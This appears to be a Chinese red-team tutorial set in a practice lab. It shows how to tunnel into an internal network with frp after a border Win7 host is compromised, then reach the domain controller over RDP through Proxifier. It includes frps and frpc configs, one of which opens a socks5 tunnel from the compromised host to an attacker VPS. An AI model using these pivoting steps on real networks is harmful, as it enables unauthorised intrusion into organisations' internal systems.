介绍及环境
frp
是一个高性能的反向代理应用,可以使目标对外开放端口,支持
- tcp
- http
- https
等协议类型,并且web
服务支持根据域名进行路由转发,从而在红队行动时实现内网穿透
frp
作为反向代理工具胜在稳定,但是其依赖配置文件,溯源容易
本篇文章在《ATT&CK 实战 - 红日安全 vulnstack (一)》文章使用到的环境基础上实现
网络配置示意图如下所示:
-
已知 win7 作为边界机,已突破拿到 shell
-
域控主机已开启允许远程访问
这里已经提前上线cs
,其实cs
可以直接一键开启socks
隧道但是不在本文范围之内
通过cs
查看目标主机win7
的ip
有两个内网网段
FRP 代理进入内网
首先需要明确代理流程
- 需要是攻击机笔记本的程序能够使用代理进行访问该域环境内网
首先从GitHub下载对应版本的FRP
代理程序
打开可以看到FRP
针对每种操作系统都有对应版本的程序:
以windows64
版本为例,包含文件有如下:
- systemd
- frpc.exe
- frpc.ini
- frpc_full.ini
- frps.exe
- frps.ini
- frps_full.ini
- LICENSE
可以看出同一操作系统,官方默认提供server
端和cilent
端
在攻击机,也就是拥有公网ip
的vps
先配置frps.ini
默认配置文件是这样的:
[common]
server_addr = 127.0.0.1
server_port = 7000
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000
此处暂时先以最基础的配置介绍:
[common]
bind_port = 7000
token = 145678
其实最基础的只需前两行,但是建议习惯加上token
哈,然后开启服务器:
frps -c frpc.ini
此时目标机需要配置连接我们的vps
之外,还需配置socks5
隧道才能让我们进入目标环境的内网,最简单的配置应该如下:
[common]
server_addr = x.x.x.x
server_port = 7000
token = 145678
[socks1]
type = tcp
remote_port = 6666
plugin = socks5
plugin_user = admin
plugin_passwd = passwd
启动客户端frp
:
此时vps
收到连接:
这时候我们笔记本攻击机就可以挂着socks5:VPS-IP:6666
来访问边界区可以访问的目标了
结束 frp 时可以使用 ps -aux|grep frp 命令列出 frp 进程信息,然后再用 kill 命令结束掉 frp 进程
本地访问可以用Proxifier
,将需要使用的工具设置为走该代理
proxifier 进行代理
添加我们的服务器如下:
将远程桌面工具mstsc.exe
添加规则:
此时在我们本地使用远程工具mstsc
直接连接内网的域控主机192.168.52.138
:
已经可以成功访问到目标主机内网的域控远程桌面
在连接的时候可以看到proxifier
打印出了日志,显示通过代理开始连接
要使用其他工具对内网进行扫描也是一样的,只需要在proxifier
中将使用到的程序配置规则即可
frp 优化
敬请期待更新
参考文章: